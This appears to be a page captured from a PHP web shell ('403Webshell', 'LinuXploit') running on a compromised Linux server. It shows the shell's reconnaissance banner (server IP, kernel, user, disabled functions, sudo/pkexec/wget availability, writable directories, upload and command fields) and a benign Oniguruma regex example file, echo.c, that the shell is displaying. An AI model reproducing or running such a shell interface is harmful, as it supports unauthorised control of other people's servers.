403Webshell
Server IP : 172.67.216.182  /  Your IP : 172.71.124.71
Web Server : Apache
System : Linux krdc-ubuntu-s-2vcpu-4gb-amd-blr1-01.localdomain 5.15.0-142-generic #152-Ubuntu SMP Mon May 19 10:54:31 UTC 2025 x86_64
User : www ( 1000)
PHP Version : 7.4.33
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/doc/libonig-dev/examples/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/doc/libonig-dev/examples/echo.c
/*
 * echo.c
 */
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include "oniguruma.h"

static int
echo(OnigCalloutArgs* args, void* user_data)
{
  int r;
  OnigCalloutIn in;
  OnigType type;
  OnigValue val;
  FILE* fp;

  fp = stdout;

  in = onig_get_callout_in_by_callout_args(args);

  r = onig_get_arg_by_callout_args(args, 1, &type, &val);
  if (r != ONIG_NORMAL) return r;

  if (in == ONIG_CALLOUT_IN_PROGRESS) {
    if (val.c == '<')
      return ONIG_CALLOUT_SUCCESS;
  }
  else {
    if (val.c != 'X' && val.c != '<')
      return ONIG_CALLOUT_SUCCESS;
  }

  r = onig_get_arg_by_callout_args(args, 0, &type, &val);
  if (r != ONIG_NORMAL) return r;


  fprintf(fp, "%s %s\n",
          (in == ONIG_CALLOUT_IN_PROGRESS ? "=>" : "<="),
          val.s.start);
  fflush(fp);

  return ONIG_CALLOUT_SUCCESS;
}


static int
test(OnigEncoding enc, char* in_pattern, char* in_str)
{
  int r;
  unsigned char *start, *range, *end;
  regex_t* reg;
  OnigErrorInfo einfo;
  OnigRegion *region;
  UChar* pattern;
  UChar* str;

  pattern = (UChar* )in_pattern;
  str = (UChar* )in_str;

  r = onig_new(&reg, pattern, pattern + strlen((char* )pattern),
               ONIG_OPTION_DEFAULT, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r, &einfo);
    fprintf(stderr, "COMPILE ERROR: %d: %s\n", r, s);
    return -1;
  }

  region = onig_region_new();

  end   = str + strlen((char* )str);
  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0) {
    int i;

    fprintf(stderr, "match at %d\n", r);
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stderr, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stderr, "search fail\n");
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str((UChar* )s, r);
    fprintf(stderr, "SEARCH ERROR: %d: %s\n", r, s);
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  onig_free(reg);
  return r;
}

extern int main(int argc, char* argv[])
{
  int r;
  int id;
  UChar* name;
  OnigEncoding use_encs[1];
  OnigType arg_types[4];
  OnigValue opt_defaults[4];
  OnigEncoding enc;

  enc = ONIG_ENCODING_UTF8;
  use_encs[0] = enc;

  r = onig_initialize(use_encs, sizeof(use_encs)/sizeof(use_encs[0]));
  if (r != ONIG_NORMAL) return -1;

  name = (UChar* )"echo";
  arg_types[0] = ONIG_TYPE_STRING;
  arg_types[1] = ONIG_TYPE_CHAR;
  opt_defaults[0].s.start = (UChar* )"echo";
  opt_defaults[0].s.end   = opt_defaults[0].s.start +
                                strlen((char* )opt_defaults[0].s.start);
  opt_defaults[1].c = '>';

  id = onig_set_callout_of_name(enc, ONIG_CALLOUT_TYPE_SINGLE,
                                name, name + strlen((char* )name),
                                ONIG_CALLOUT_IN_BOTH, echo, 0,
                                2, arg_types, 2, opt_defaults);
  if (id < 0) {
    fprintf(stderr, "ERROR: fail to set callout of name: %s\n", name);
    return -1;
  }

  test(enc, "(?:(*echo{abc!!!})a|b)*", "abba");
  test(enc, "(?:(*echo{xyz,X})a|b)*", "abba");

  onig_end();
  return 0;
}

Youez - 2016 - github.com/yon3zu
LinuXploit